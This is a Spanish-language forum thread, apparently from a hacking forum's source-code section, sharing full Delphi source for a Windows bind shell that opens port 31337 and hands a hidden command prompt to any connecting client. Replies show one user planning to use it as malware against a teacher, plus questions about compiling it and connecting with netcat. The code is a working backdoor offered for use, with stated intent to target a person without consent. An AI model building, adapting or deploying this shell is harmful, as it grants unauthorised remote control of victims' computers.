este es el q tengo instalado en las pc's de mi LAN y funciona barbaro

autor: tt

Código: Seleccionar todo

program Remote_Shell;

uses
 Windows, Winsock2, Winsock;

const
 Port = 31337;

var
 WSAData: TWSAData;
 FDSet: TFDSet;
 SockAddrIn: TSockAddrIn;
 ServerSocket: TSocket;
 Connected: PInteger;
 ThreadID: Cardinal;
 szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
 hSocket: PInteger;
 si: TStartupInfo;
 pi: TProcessInformation;
begin
 hSocket := Parameter;
 ZeroMemory(@si, SizeOf(si));
 si.cb := SizeOf(si);
 si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
 si.wShowWindow := SW_HIDE;
 si.hStdInput := hSocket^;
 si.hStdOutput := hSocket^;
 si.hStdError := hSocket^;
 CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
 WaitForSingleObject(pi.hProcess, INFINITE);
 CloseHandle(pi.hProcess);
 CloseHandle(pi.hThread);
 Shutdown(hSocket^, SD_BOTH);
 CloseSocket(hSocket^);
 Dispose(hSocket);
 Result := 0;
end;

begin
 WSAStartUp(MakeWord(1, 1), WSAData);
 ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_addr.s_addr := INADDR_ANY;
 SockAddrIn.sin_port := htons(Port);
 Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
 Listen(ServerSocket, 1);
 GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
 while True do
  begin
   FD_Zero(FDSet);
   FD_Set(ServerSocket, FDSet);
   Select(0, @FDSet, nil, nil, nil);
   if FD_IsSet(ServerSocket, FDSet) then
    begin
     New(Connected);
     Connected^ := Accept(ServerSocket, nil, nil);
     if Connected^ <> SOCKET_ERROR then
      BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
     else
      Break;
    end;
  end;
 WSACleanup;
end.
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
diablo v1.0.1.24 beta
Perdona mi ignorancia, pero como se usa eso, he estado programando malware y necesito una Remote Shell para meterle al profe de español que jode mucho, pero no se como funciona.
deck escribió:cojes copias el codigo y lo pegas en un blog de notas y le pones la extension del delphin y ya
disculpa que extencion le pongo?
Disculpa no consigo conectarme con netcat... qué usas para tomar la shell remota?

Disculpa, fue mi error... funciona barbaro como dices,
Gracias por el código!!!
Muy interesante el code. Lástima que no tenga nivel suficiente para entenderlo. Bueno lo copio y ya le sacaremos punta algún día.
Imagen
konanxp escribió:Muy interesante el code. Lástima que no tenga nivel suficiente para entenderlo. Bueno lo copio y ya le sacaremos punta algún día.
Bonito flood que estas haciendo a lo pendejo ,
M.I.A
Responder

Volver a “Fuentes”